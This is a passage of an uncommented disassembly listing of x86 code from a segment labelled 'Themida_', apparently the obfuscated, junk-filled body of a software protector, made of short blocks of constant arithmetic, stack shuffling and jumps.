loc_59BE24: ; CODE XREF: Themida_:loc_5AD718j
sub esp, 4
mov [esp], edi
push edx
jmp loc_5AC945
; ---------------------------------------------------------------------------
loc_59BE30: ; CODE XREF: Themida_:005AC9BFj
shl eax, 3
jmp loc_5A6D1E
; ---------------------------------------------------------------------------
loc_59BE38: ; CODE XREF: Themida_:0059EC2Dj
mov ebp, esp
push edi
push esi
mov esi, 6EBD30B8h
mov edi, esi
pop esi
add edi, 25CB6153h
jmp loc_5AC0C9
; ---------------------------------------------------------------------------
loc_59BE4F: ; CODE XREF: Themida_:loc_5A252Aj
xor edx, 5DF51856h
shr edx, 5
jmp loc_5A399C
; ---------------------------------------------------------------------------
loc_59BE5D: ; CODE XREF: Themida_:0059B5B7j
push 6D8Bh
mov [esp], ebx
jmp loc_59E38F
; ---------------------------------------------------------------------------
loc_59BE6A: ; CODE XREF: Themida_:loc_59BA2Dj
neg ecx
add ecx, 0F4B82E1Bh
push ecx
pop eax
jmp loc_5A2931
; ---------------------------------------------------------------------------
loc_59BE79: ; CODE XREF: Themida_:005A1638j
add ecx, 74A14380h
sub ecx, edi
sub ecx, 74A14380h
jmp loc_5A898B
; ---------------------------------------------------------------------------
loc_59BE8C: ; CODE XREF: Themida_:005991E8j
xor esi, 7BA57C72h
jmp loc_5A6D0C
; ---------------------------------------------------------------------------
loc_59BE97: ; CODE XREF: Themida_:loc_5A2007j
shl edi, 6
jmp loc_598D80
; ---------------------------------------------------------------------------
loc_59BE9F: ; CODE XREF: Themida_:0059D9EEj
; Themida_:005A661Ej
mov ch, al
jmp loc_5A02FC
; ---------------------------------------------------------------------------
loc_59BEA6: ; CODE XREF: Themida_:005A13D7j
mov [esp], ecx
sub esp, 4
mov [esp], edx
push 1BC704C2h
jmp loc_59D15C
; ---------------------------------------------------------------------------
loc_59BEB9: ; CODE XREF: Themida_:005A8A8Bj
and ebx, 40E45242h
xor ebx, 22DB01FEh
add edx, ebx
jmp loc_5A3D56
; ---------------------------------------------------------------------------
loc_59BECC: ; CODE XREF: Themida_:0059ECEFj
sub eax, 3C024B7Dh
push ebp
mov ebp, 77BA6F41h
add eax, ebp
jmp loc_59B8A0
; ---------------------------------------------------------------------------
loc_59BEDE: ; CODE XREF: Themida_:0059B7F6j
sub al, 0CEh
push 10CCh
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 2
xchg ebx, [esp]
pop esp
mov [esp], dx
push bx
mov bl, 52h
add bl, 0D8h
sub bl, 0B0h
jmp loc_5AD8EE
; ---------------------------------------------------------------------------
loc_59BF0D: ; CODE XREF: Themida_:005A88F7j
add ebx, 70FFFAEDh
mov eax, ebx
pop ebx
jmp loc_59E694
; ---------------------------------------------------------------------------
loc_59BF1B: ; CODE XREF: Themida_:0059B601j
push eax
mov eax, 47AD59F1h
sub eax, 550A1BC7h
jmp loc_59EA61
; ---------------------------------------------------------------------------
loc_59BF2B: ; CODE XREF: Themida_:005A23A9j
inc ebp
push edx
jmp loc_5AC1B1
; ---------------------------------------------------------------------------
loc_59BF32: ; CODE XREF: Themida_:00598D13j
push eax
jmp loc_5A3835
; ---------------------------------------------------------------------------
loc_59BF38: ; CODE XREF: Themida_:005A3FC0j
push esp
pop eax
add eax, 4
push ecx
push 2526h
mov [esp], edx
jmp loc_5AAD5A
; ---------------------------------------------------------------------------
loc_59BF4D: ; CODE XREF: Themida_:005A7ADAj
; Themida_:005A8C57j
mov [esp], ebx
push ebp
mov ebp, 3A88432Eh
not ebp
xor ebp, 44B011B5h
xor ebp, 0F83F8E86h
jmp loc_5A439C
; ---------------------------------------------------------------------------
mov ax, [esp]
push 63F2h
jmp loc_5ABB09
; ---------------------------------------------------------------------------
loc_59BF77: ; CODE XREF: Themida_:005A43FCj
pop edx
mov bl, al
mov eax, [esp]
add esp, 4
jmp loc_5A726A
; ---------------------------------------------------------------------------
mov cx, [esp]
push 0FEAh
jmp loc_5A9CE3
; ---------------------------------------------------------------------------
loc_59BF96: ; CODE XREF: Themida_:005AA56Fj
sub esi, 506E9C70h
xor edx, esi
jmp loc_5ACC6F
; ---------------------------------------------------------------------------
loc_59BFA3: ; CODE XREF: Themida_:005AE71Cj
sub ebx, 30101C64h
jmp loc_5ACCB9
; ---------------------------------------------------------------------------
loc_59BFAE: ; CODE XREF: Themida_:0059845Dj
sub esp, 4
jmp loc_5A9AE3
; ---------------------------------------------------------------------------
loc_59BFB6: ; CODE XREF: Themida_:0059992Fj
and ebx, 53D7629h
xor ebx, 63F22948h
ja loc_5A1EFF
add ebx, 504C0EB8h
mov bh, dh
sub al, 1Bh
loc_59BFD2: ; CODE XREF: Themida_:005A34ABj
mov [esp], edx
mov edx, esp
jmp loc_5A8C3F
; ---------------------------------------------------------------------------
loc_59BFDC: ; CODE XREF: Themida_:005A8207j
pop ebx
jmp loc_5AA0DC
; ---------------------------------------------------------------------------
loc_59BFE2: ; CODE XREF: Themida_:005A9C13j
and edx, 2EA45897h
jb loc_5A6AE4
shr edx, 8
jp loc_5A0391
push ecx
mov ecx, 66F601Ah
inc ecx
not ecx
sub ecx, 0E8BA274Eh
xor edx, ecx
pop ecx
dec edx
push eax
mov eax, 0FFFFFFFFh
add edx, eax
jmp loc_5A4C1C
; ---------------------------------------------------------------------------
loc_59C017: ; CODE XREF: Themida_:005A1A7Dj
add eax, 4
xchg eax, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_5A455E
; ---------------------------------------------------------------------------
loc_59C02F: ; CODE XREF: Themida_:0059DF92j
sub esp, 4
mov [esp], edi
jmp loc_59D79D
; ---------------------------------------------------------------------------
loc_59C03D: ; CODE XREF: Themida_:00598FF3j
dec ebx
jno loc_59DCA4
add ebx, 3CAFF774h
mov esi, ebx
pop ebx
mov ch, 55h
push esi
loc_59C050: ; CODE XREF: Themida_:005AB07Ej
add esp, 4
push edx
mov edx, 79F823E2h
sub eax, 96D02E4h
add eax, edx
add eax, 96D02E4h
mov edx, [esp]
add esp, 4
push 62EDh
jmp loc_59E517
; ---------------------------------------------------------------------------
loc_59C07B: ; CODE XREF: Themida_:0059A5FDj
sub esi, ebx
jmp loc_5A3C19
; ---------------------------------------------------------------------------
loc_59C082: ; CODE XREF: Themida_:005AE2B4j
push eax
push ecx
mov ecx, 1D330A26h
mov eax, 5CC35310h
xor eax, ecx
pop ecx
jmp loc_5A3958
; ---------------------------------------------------------------------------
loc_59C096: ; CODE XREF: Themida_:005AB2E9j
mov ebx, 20BC0565h
shr ebx, 2
push edx
mov edx, 65855815h
dec edx
add edx, 27925012h
not edx
add edx, 0A2AEC5AEh
add ebx, edx
pop edx
jmp loc_5AC60B
; ---------------------------------------------------------------------------
loc_59C0BB: ; CODE XREF: Themida_:0059A480j
; Themida_:005AD933j
add ebp, 1C40B24h
xor ebp, 0B931F36h
xor ebp, 0B1CE7D06h
mov edi, ebp
pop ebp
sub edi, 2021FDEAh
mov edx, edi
mov edi, [esp]
add esp, 4
push edi
jmp loc_598682
; ---------------------------------------------------------------------------
loc_59C0E4: ; CODE XREF: Themida_:005A0BADj
push 4F65h
jmp loc_5A38CC
; ---------------------------------------------------------------------------
loc_59C0EE: ; CODE XREF: Themida_:005A33F9j
mov [esp], ebx
jmp loc_5AC247
; ---------------------------------------------------------------------------
loc_59C0F6: ; CODE XREF: Themida_:005A35F0j
add ebx, 4B0436E3h
mov edi, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_5A9BB5
; ---------------------------------------------------------------------------
loc_59C110: ; CODE XREF: Themida_:loc_5A4856j
push esi
push 1A63h
mov [esp], eax
jmp loc_5A760F
; ---------------------------------------------------------------------------
loc_59C11E: ; CODE XREF: Themida_:0059A8FDj
mov esi, [esp]
jmp loc_5A62D2
; ---------------------------------------------------------------------------
loc_59C126: ; CODE XREF: Themida_:005986D1j
mov [esp], edx
mov edx, 168B97B0h
jmp loc_5ADCCD
; ---------------------------------------------------------------------------
loc_59C133: ; CODE XREF: Themida_:0059CAE3j
; Themida_:005A9D4Aj
jb loc_5A672E
xor ebx, 187B5BD3h
mov ebp, ebx
pop ebx
jmp loc_59AB70
; ---------------------------------------------------------------------------
loc_59C147: ; CODE XREF: Themida_:005AA5C5j
neg ebp
push esi
mov esi, 2EC63049h
or esi, 1DEF3BCFh
xor esi, 74034F1Fh
add ebp, esi
pop esi
jmp loc_5A4413
; ---------------------------------------------------------------------------
loc_59C163: ; CODE XREF: Themida_:0059DC05j
shl edi, 1
not edi
push ebp
mov ebp, 178CB79h
add edi, ebp
mov ebp, [esp]
jmp loc_5A61E6
; ---------------------------------------------------------------------------
loc_59C177: ; CODE XREF: Themida_:005AD628j
add eax, edx
mov edx, [esp]
jmp loc_5A9B83
; ---------------------------------------------------------------------------
loc_59C181: ; CODE XREF: Themida_:0059F6BBj
not edi
push ecx
jmp loc_5993DA
; ---------------------------------------------------------------------------
loc_59C189: ; CODE XREF: Themida_:005A87F0j
push edi
push ebx
mov ebx, 528F3F39h
mov edi, ebx
pop ebx
mov ecx, 0E1D06FCh
xor ecx, edi
pop edi
jmp loc_59A7DB
; ---------------------------------------------------------------------------
loc_59C1A0: ; CODE XREF: Themida_:loc_5A5921j
jmp loc_59857E
; ---------------------------------------------------------------------------
loc_59C1A5: ; CODE XREF: Themida_:00598F96j
mov ecx, 18BD0135h
shl ecx, 3
jmp loc_5A6245
; ---------------------------------------------------------------------------
loc_59C1B2: ; CODE XREF: Themida_:0059ED99j
mov eax, esp
push 1A43h
jmp loc_5A35D7
; ---------------------------------------------------------------------------
loc_59C1BE: ; CODE XREF: Themida_:00599461j
pop edi
sub ecx, 4
jmp near ptr loc_598CB8+2
; ---------------------------------------------------------------------------
loc_59C1C7: ; CODE XREF: Themida_:005A76F6j
mov edi, [esp]
add esp, 4
add eax, 720F01D5h
push 5B65h
jmp loc_5A3BE7
; ---------------------------------------------------------------------------
loc_59C1DF: ; CODE XREF: Themida_:00598B8Dj
push 7D146945h
jmp loc_59A155
; ---------------------------------------------------------------------------
loc_59C1E9: ; CODE XREF: Themida_:0059B1C2j
push 0
sub [esp], edx
jmp loc_5A09A1
; ---------------------------------------------------------------------------
loc_59C1F6: ; CODE XREF: Themida_:005A7570j
add ebp, 94E1459h
push ebp
push esi
pop ebp
pop esi
neg esi
xchg esi, ebp
shl ebp, 7
push 4652h
mov [esp], esi
mov esi, 14EF62EEh
jmp loc_5AD900
; ---------------------------------------------------------------------------
loc_59C219: ; CODE XREF: Themida_:005A38C7j
push dword ptr [esp]
pop ebx
add esp, 4
or eax, eax
jz loc_5A5B74
push dword ptr [edi+1Ch]
jmp loc_5A4E8A
; ---------------------------------------------------------------------------
loc_59C233: ; CODE XREF: Themida_:0059FCE5j
; Themida_:005ABBF8j
sub eax, edx
pop edx
sub eax, 60503D8Ah
jmp loc_5A708D
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5354h
mov [esp], ebx
push 62CDh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push 3C5Ch
mov [esp], eax
push 307F2138h
mov eax, [esp]
add esp, 4
shr eax, 6
push esi
mov esi, 0C1FC80h
xor eax, esi
jmp loc_5AAE61
; ---------------------------------------------------------------------------
loc_59C27F: ; CODE XREF: Themida_:005A8CE0j
sub esp, 4
mov [esp], ebx
mov ebx, 21747A9Fh
jmp loc_598FB7
; ---------------------------------------------------------------------------
loc_59C28F: ; CODE XREF: Themida_:0059A068j
sub esp, 4
jmp loc_5ABE71
; ---------------------------------------------------------------------------
loc_59C29A: ; CODE XREF: Themida_:005A517Aj
mov [esp], eax
push ebx
mov ebx, 5D2462CFh
mov eax, 5D2462CBh
jmp loc_59AAB7
; ---------------------------------------------------------------------------
loc_59C2AD: ; CODE XREF: Themida_:005ADA6Aj
sub bl, cl
add bl, 41h
mov ecx, [esp]
jmp loc_5AABA0
; ---------------------------------------------------------------------------
loc_59C2BA: ; CODE XREF: Themida_:005A018Aj
mov eax, 619C0540h
sub eax, ebp
pop ebp
add edi, eax
pop eax
sub esp, 4
mov [esp], eax
push ebx
mov ebx, 417B38E3h
sub ebx, 0D0B3F01Eh
push ebx
pop eax
pop ebx
xor edi, eax
pop eax
add esi, edi
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ebp
mov ebp, 4
sub esi, ebp
mov ebp, [esp]
push edi
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_5A4092
; ---------------------------------------------------------------------------
loc_59C30E: ; CODE XREF: Themida_:0059DB1Dj
shr eax, 7
xor eax, 10CF4667h
xor eax, 6BE761Dh
and eax, 246B2551h
inc eax
xor eax, 5BBB3452h
jmp loc_5AC03A
; ---------------------------------------------------------------------------
loc_59C32B: ; CODE XREF: Themida_:005A85C7j
and eax, edi
mov edi, [esp]
push edx
push esp
pop edx
push ebx
push edi
mov edi, 25DF6B6Ch
neg edi
jno loc_5AA94E
xor edi, 45810BF3h
mov al, 59h
push edi
loc_59C34C: ; CODE XREF: Themida_:0059AA33j
mov ah, 6Fh
jmp loc_59DD88
; ---------------------------------------------------------------------------
loc_59C353: ; CODE XREF: Themida_:005A5128j
push eax
mov eax, 69103A94h
xor eax, 3CE4733Bh
not eax
jmp loc_59F124
; ---------------------------------------------------------------------------
loc_59C365: ; CODE XREF: Themida_:005A160Ej
xchg edi, [esp]
pop esp
add eax, ebp
pop ebp
xor eax, [esp]
jmp loc_5A19EF
; ---------------------------------------------------------------------------
loc_59C374: ; CODE XREF: Themida_:005A5352j
add esp, 4
jmp loc_5AF32F
; ---------------------------------------------------------------------------
loc_59C37F: ; CODE XREF: Themida_:005AD9B8j
add eax, [edx]
pop edx
mov ecx, [esp]
push edx
jmp loc_5A1DE1
; ---------------------------------------------------------------------------
loc_59C38B: ; CODE XREF: Themida_:0059C6DFj
xor ebp, eax
xor eax, ebp
jmp loc_5A6677
; ---------------------------------------------------------------------------
loc_59C394: ; CODE XREF: Themida_:0059F140j
; Themida_:005A3371j
pop ecx
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ecx
push 6D7Ah
mov [esp], ebx
sub esp, 4
mov [esp], ecx
mov cl, 24h
push edx
mov dl, cl
mov bh, dl
jmp loc_59ADA0
; ---------------------------------------------------------------------------
loc_59C3C3: ; CODE XREF: Themida_:005ABCC1j
xchg ecx, [esp]
pop esp
add ebx, 4
push edx
jmp loc_5A91C3
; ---------------------------------------------------------------------------
loc_59C3D3: ; CODE XREF: Themida_:0059D346j
xchg edi, [esp]
pop esp
cmp ecx, eax
pushf
jmp loc_5AEA03
; ---------------------------------------------------------------------------
loc_59C3DF: ; CODE XREF: Themida_:loc_59ED71j
; Themida_:005A2A03j
push eax
push edx
push 611111CAh
mov edx, [esp]
add esp, 4
or edx, 5CEC3CBCh
jmp loc_59CA20
; ---------------------------------------------------------------------------
loc_59C3FA: ; CODE XREF: Themida_:0059A526j
push ebp
push ebx
mov ebx, 1E6372C5h
mov ebp, ebx
pop ebx
mov esi, ebp
pop ebp
shr esi, 8
jnp loc_5AE220
shl esi, 2
jns loc_5990CD
push 1768h
mov [esp], ecx
jmp loc_5A8507
; ---------------------------------------------------------------------------
loc_59C426: ; CODE XREF: Themida_:005A0D6Aj
add eax, edi
mov edi, [esp]
add esp, 4
sub eax, ebx
sub eax, 37893787h
sub eax, 2E91261Eh
push 115Fh
jmp loc_5AA8C2
; ---------------------------------------------------------------------------
loc_59C444: ; CODE XREF: Themida_:005AADF9j
mov edx, 4CD839F2h
xor edx, 238827A5h
neg edx
or edx, 70E00F22h
xor edx, 63B7052Fh
shr edx, 4
xor edx, 0F321B7Eh
jmp loc_59BC68
; ---------------------------------------------------------------------------
loc_59C46B: ; CODE XREF: Themida_:005A2034j
jnp loc_5A17C7
xor cl, 5Ah
jnp loc_5A1356
and al, 61h
loc_59C47C: ; CODE XREF: Themida_:loc_59B657j
push edx
mov edx, 46AA5C31h
or esi, edx
pop edx
add esi, 10050191h
mov edx, esi
pop esi
push ebx
jmp loc_5A54F0
; ---------------------------------------------------------------------------
loc_59C494: ; CODE XREF: Themida_:0059FAB6j
pop ebp
pop ecx
neg ebp
jns loc_5AD718
jmp loc_59F188
; ---------------------------------------------------------------------------
loc_59C4A3: ; CODE XREF: Themida_:005A0B90j
sub eax, 23652598h
jmp loc_59FA02
; ---------------------------------------------------------------------------
loc_59C4AD: ; CODE XREF: Themida_:005A2179j
push 0AEE0C1Eh
pop ebp
shl ebp, 6
jp loc_59EE62
shr ebp, 4
jmp loc_5A6595
; ---------------------------------------------------------------------------
loc_59C4C4: ; CODE XREF: Themida_:005AD77Fj
mov eax, esp
add eax, 4
jmp loc_59850A
; ---------------------------------------------------------------------------
loc_59C4D0: ; CODE XREF: Themida_:005A421Ej
xchg ebx, [esp]
pop esp
push esi
mov esi, 1BB25C56h
or esi, 7EBE3870h
shl esi, 2
jmp loc_5A501B
; ---------------------------------------------------------------------------
push ebp
push 0FEh
push dword ptr [esp]
jmp loc_599D3B
; ---------------------------------------------------------------------------
loc_59C4F6: ; CODE XREF: Themida_:005A5E1Dj
sub edi, 51D351B1h
add eax, edi
jmp loc_5A155F
; ---------------------------------------------------------------------------
loc_59C503: ; CODE XREF: Themida_:0059D9E2j
and ebp, 18D217C8h
jl loc_59FD53
xor ebp, 3F2A60AFh
mov edx, ebp
jmp loc_59A3E1
; ---------------------------------------------------------------------------
loc_59C51C: ; CODE XREF: Themida_:00599328j
dec eax
add eax, 422836E8h
jmp loc_5AB318
; ---------------------------------------------------------------------------
loc_59C527: ; CODE XREF: Themida_:0059F07Cj
pop edi
sub eax, 41BB43E2h
jmp loc_5ACF9B
; ---------------------------------------------------------------------------
loc_59C532: ; CODE XREF: Themida_:005AA256j
xchg esi, [esp]
pop esp
mov [esp], edi
push ebp
jmp loc_5A0608
; ---------------------------------------------------------------------------
loc_59C53F: ; CODE XREF: Themida_:00599247j
xor ebp, 5D1DE28Ch
xor esi, ebp
pop ebp
and esi, 3B1914BBh
push esi
not dword ptr [esp]
jmp loc_5AECC3
; ---------------------------------------------------------------------------
loc_59C557: ; CODE XREF: Themida_:005A8004j
add ebx, 4E30395h
jo loc_59F572
sub ebx, 0C5C39179h
push ecx
mov ecx, 23C0361Bh
and ecx, 1D657C7Eh
jmp loc_599F6C
; ---------------------------------------------------------------------------
loc_59C57A: ; CODE XREF: Themida_:005992A6j
pop eax
pop edx
pop ecx
push ebp
push 4
pop ebp
jmp loc_5A1362
; ---------------------------------------------------------------------------
loc_59C589: ; CODE XREF: Themida_:0059DFFFj
push ecx
mov ecx, 3AB0DC03h
xor ebp, ecx
jmp loc_5A30BC
; ---------------------------------------------------------------------------
loc_59C596: ; CODE XREF: Themida_:005AA8CFj
pop edx
push edi
mov edi, 6FD54224h
sub edi, 0FFFFFFFFh
jmp loc_5AF10D
; ---------------------------------------------------------------------------
loc_59C5A8: ; CODE XREF: Themida_:005A6863j
not ebp
xchg ebp, [esp]
pop edx
xor edx, 9BA93A1Eh
add eax, edx
mov edx, [esp]
add esp, 4
add eax, ebx
push ebx
mov ebx, 0D1578F6h
shr ebx, 3
add ebx, 352B202Fh
jmp loc_59E2DA
; ---------------------------------------------------------------------------
lodsd
push ebx
jmp loc_5ADA88
; ---------------------------------------------------------------------------
loc_59C5DC: ; CODE XREF: Themida_:005AAFC9j
mov [esp], edx
mov edx, esp
add edx, 4
push edi
jmp loc_59FD53
; ---------------------------------------------------------------------------
loc_59C5ED: ; CODE XREF: Themida_:005A5605j
push ecx
push 2E4B1AA9h
pop ecx
add ecx, 0D1B4E55Bh
mov esi, ecx
pop ecx
jmp loc_5AE10E
; ---------------------------------------------------------------------------
loc_59C602: ; CODE XREF: Themida_:005AF225j
pop dword ptr [esp]
pop esp
jmp loc_59B7D2
; ---------------------------------------------------------------------------
loc_59C60B: ; CODE XREF: Themida_:0059B9E1j
add esp, 4
push 62A2h
jmp loc_59B8FA
; ---------------------------------------------------------------------------
loc_59C618: ; CODE XREF: Themida_:005A4EC5j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
mov [esp], edi
push dword ptr [esp]
mov edx, [esp]
push edi
mov edi, esp
jmp loc_59DC93
; ---------------------------------------------------------------------------
mov cx, [esp]
push 297Eh
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push edx
mov edx, 4
add eax, edx
pop edx
jmp loc_5A2583
; ---------------------------------------------------------------------------
lodsw
jmp loc_59FE4C
; ---------------------------------------------------------------------------
loc_59C673: ; CODE XREF: Themida_:005AB558j
mov ebx, [esp]
add esp, 4
shr cl, 4
jmp loc_5ABD7D
; ---------------------------------------------------------------------------
loc_59C681: ; CODE XREF: Themida_:0059D5E2j
mov [esp], edi
mov edi, esp
jmp loc_5A35F5
; ---------------------------------------------------------------------------
loc_59C68B: ; CODE XREF: Themida_:005A0C86j
pop ecx
inc cl
jp loc_5AD2A1
or cl, 0D6h
jnb loc_599533
jns loc_5A279B
loc_59C6A3: ; CODE XREF: Themida_:005A202Bj
mov ecx, 2F682038h
push edx
mov edx, 3AC17AF8h
shr edx, 7
inc edx
shr edx, 4
add edx, 5D267E92h
xor edx, 593AF05Eh
sub ecx, edx
pop edx
jmp loc_5AA52F
; ---------------------------------------------------------------------------
loc_59C6C9: ; CODE XREF: Themida_:005A7CCBj
inc esi
inc esi
shr esi, 6
push eax
mov eax, 562E3876h
xor eax, 530B2E93h
inc eax
not eax
dec eax
xor eax, ebp
jmp loc_59C38B
; ---------------------------------------------------------------------------
loc_59C6E4: ; CODE XREF: Themida_:005A508Dj
pop esp
sub ebp, 3F01D24h
add ebp, eax
add ebp, 3F01D24h
pop eax
push 2619h
mov [esp], edi
push ecx
push 6F976CD3h
pop ecx
not ecx
sub ecx, 1FB07854h
ja loc_5A81D9
push ebx
mov ebx, 3A02A881h
sub ecx, ebx
pop ebx
jmp loc_5A915E
; ---------------------------------------------------------------------------
push edi
loc_59C720: ; CODE XREF: Themida_:005A5BBCj
xor eax, [esp]
mov esp, [esp]
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A34FE
; ---------------------------------------------------------------------------
loc_59C73C: ; CODE XREF: Themida_:005AC468j
add [esp+4], eax
push 3451h
mov [esp], edx
jmp loc_5ACFA1
; ---------------------------------------------------------------------------
loc_59C74D: ; CODE XREF: Themida_:005A1123j
jmp loc_5ABB11
; ---------------------------------------------------------------------------
loc_59C752: ; CODE XREF: Themida_:0059D02Cj
mov [esp], ebx
push edx
mov edx, esp
jmp loc_5A281D
; ---------------------------------------------------------------------------
loc_59C75D: ; CODE XREF: Themida_:005A5658j
mov ecx, [esp]
add esp, 4
xor ecx, 0B557357h
mov edi, ecx
jmp loc_5AF1A2
; ---------------------------------------------------------------------------
loc_59C770: ; CODE XREF: Themida_:0059B0AEj
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59B988
; ---------------------------------------------------------------------------
loc_59C783: ; CODE XREF: Themida_:0059D142j
mov ebx, [esp]
add esp, 4
shr ecx, 1
and ecx, 6116160Dh
add ecx, 0FFFFFFFFh
jmp loc_5ADF19
; ---------------------------------------------------------------------------
loc_59C79C: ; CODE XREF: Themida_:005A2364j
jmp loc_5AC84F
; ---------------------------------------------------------------------------
loc_59C7A1: ; CODE XREF: Themida_:0059E9ADj
; Themida_:005A91BEj
pop dword ptr [esp]
jmp loc_5A1485
; ---------------------------------------------------------------------------
loc_59C7A9: ; CODE XREF: Themida_:005A9568j
mov [esp], ax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59C7B2: ; CODE XREF: Themida_:005AA505j
push eax
jmp loc_5AB292
; ---------------------------------------------------------------------------
loc_59C7B8: ; CODE XREF: Themida_:005ABAA3j
add ecx, 4
push ebx
mov ebx, 2F50D7Ch
jmp loc_5AE6F7
; ---------------------------------------------------------------------------
loc_59C7C9: ; CODE XREF: Themida_:005A0CBCj
push ebp
push ebx
push 342143DDh
pop ebx
neg ebx
and ebx, 27673683h
xor ebx, 3463407h
jmp loc_5AD01D
; ---------------------------------------------------------------------------
loc_59C7E4: ; CODE XREF: Themida_:005AF3CDj
push 6C14h
mov [esp], ebp
mov ebp, 6D964C91h
jmp loc_59DA6E
; ---------------------------------------------------------------------------
loc_59C7F6: ; CODE XREF: Themida_:0059A255j
mov [esp], bx
push 7264h
mov [esp], ebp
mov bp, 0D54h
xchg dx, bp
not dx
xchg dx, bp
dec bp
jnz loc_59EF32
inc bp
jmp loc_5AB421
; ---------------------------------------------------------------------------
pop bx
mov dl, 0B6h
pop ebp
loc_59C823: ; CODE XREF: Themida_:00598E15j
push esi
jmp loc_5A457D
; ---------------------------------------------------------------------------
loc_59C829: ; CODE XREF: Themida_:0059E94Fj
sub edi, eax
pop eax
shr edi, 5
or edi, 65D4109Bh
sub edi, 65DF30D7h
add esi, edi
mov edi, [esp]
add esp, 4
push 88Ch
jmp loc_5AC4AC
; ---------------------------------------------------------------------------
loc_59C850: ; CODE XREF: Themida_:0059B4B5j
mov [esp], ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
add ecx, 4
jmp loc_5A2262
; ---------------------------------------------------------------------------
loc_59C86E: ; CODE XREF: Themida_:005AAE84j
mov [esp], ebp
push esi
mov esi, 4C33A0h
shr esi, 7
sub esi, 9865h
mov ebp, esi
mov esi, [esp]
add esp, 4
push eax
jmp loc_5AB1F6
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5ADE52
; ---------------------------------------------------------------------------
loc_59C896: ; CODE XREF: Themida_:005AECBEj
sub ecx, 812459A8h
xor eax, ecx
pop ecx
xor eax, 5C2603B3h
jp loc_5A320F
add eax, 29788E37h
jle loc_5AA040
loc_59C8B5: ; CODE XREF: Themida_:005A5E34j
push esp
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 4689h
jmp loc_5A5F3A
; ---------------------------------------------------------------------------
loc_59C8D3: ; CODE XREF: Themida_:0059DB76j
movzx cx, al
push cx
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
push small 5EB7h
mov [esp], sp
jmp loc_59A248
; ---------------------------------------------------------------------------
loc_59C8EC: ; CODE XREF: Themida_:005A4886j
mov [esp], eax
mov eax, 2
add ebx, eax
jmp loc_5A72C6
; ---------------------------------------------------------------------------
loc_59C8FB: ; CODE XREF: Themida_:005AE475j
not esi
not esi
jmp loc_59E328
; ---------------------------------------------------------------------------
loc_59C904: ; CODE XREF: Themida_:005AAC04j
add ecx, 4
sub ecx, 4
jmp loc_5A3F79
; ---------------------------------------------------------------------------
loc_59C912: ; CODE XREF: Themida_:005AEC42j
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
push esp
mov ebx, [esp]
push esi
jmp loc_59D77D
; ---------------------------------------------------------------------------
loc_59C931: ; CODE XREF: Themida_:0059EC1Cj
shr ecx, 4
js loc_59860C
jmp loc_5A1AF9
; ---------------------------------------------------------------------------
loc_59C93F: ; CODE XREF: Themida_:loc_599152j
jmp loc_5A1269
; ---------------------------------------------------------------------------
loc_59C944: ; CODE XREF: Themida_:005A2C23j
pop dword ptr [esp]
jmp loc_5AD361
; ---------------------------------------------------------------------------
loc_59C94C: ; CODE XREF: Themida_:0059EB1Dj
push 1513h
push ecx
mov ecx, esp
jmp loc_59FEBF
; ---------------------------------------------------------------------------
loc_59C959: ; CODE XREF: Themida_:005998F0j
push ebx
push ecx
mov ecx, 19EE1E5Ch
mov ebx, 5E7471F6h
sub ebx, ecx
jmp loc_5A7AE5
; ---------------------------------------------------------------------------
loc_59C96C: ; CODE XREF: Themida_:005A9E98j
mov ebp, [esp]
jmp loc_59CCF8
; ---------------------------------------------------------------------------
loc_59C974: ; CODE XREF: Themida_:005A8AD3j
add bl, al
sub bl, 0F7h
push eax
mov al, 58h
xor al, 75h
jmp loc_5A89EA
; ---------------------------------------------------------------------------
loc_59C983: ; CODE XREF: Themida_:005A84CDj
sub ebp, 2
push 1BA9h
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_598B42
; ---------------------------------------------------------------------------
loc_59C997: ; CODE XREF: Themida_:0059BBC8j
sub esp, 4
jmp loc_5A8233
; ---------------------------------------------------------------------------
loc_59C9A2: ; CODE XREF: Themida_:0059AE62j
jo loc_5A746E
shl edi, 2
add edi, 1F0A2591h
jno loc_5A67A0
sub edi, 107FB628h
push eax
mov eax, edi
jmp loc_5A6A5F
; ---------------------------------------------------------------------------
loc_59C9C5: ; CODE XREF: Themida_:005A5E03j
xor edx, 5DF51856h
shr edx, 5
jmp loc_5A7D15
; ---------------------------------------------------------------------------
loc_59C9D3: ; CODE XREF: Themida_:005AB163j
pop ebx
sub esp, 4
mov [esp], ecx
jmp loc_5A70EE
; ---------------------------------------------------------------------------
loc_59C9E2: ; CODE XREF: Themida_:0059BA0Bj
xor ebx, 6FC404A0h
jmp loc_59E9F3
; ---------------------------------------------------------------------------
loc_59C9ED: ; CODE XREF: Themida_:00599AD1j
mov ebp, 5C5501DEh
jmp loc_59E23A
; ---------------------------------------------------------------------------
loc_59C9F7: ; CODE XREF: Themida_:005A7F71j
xor ecx, ebx
mov ebx, [esp]
add esp, 4
xchg ebx, ecx
dec ebx
xchg ebx, ecx
jmp loc_5AADF8
; ---------------------------------------------------------------------------
loc_59CA0C: ; CODE XREF: Themida_:0059F7BFj
; Themida_:005A15B5j
rol word ptr [esp], cl
pushf
jmp loc_5AC96C
; ---------------------------------------------------------------------------
loc_59CA16: ; CODE XREF: Themida_:0059FC71j
add esp, 4
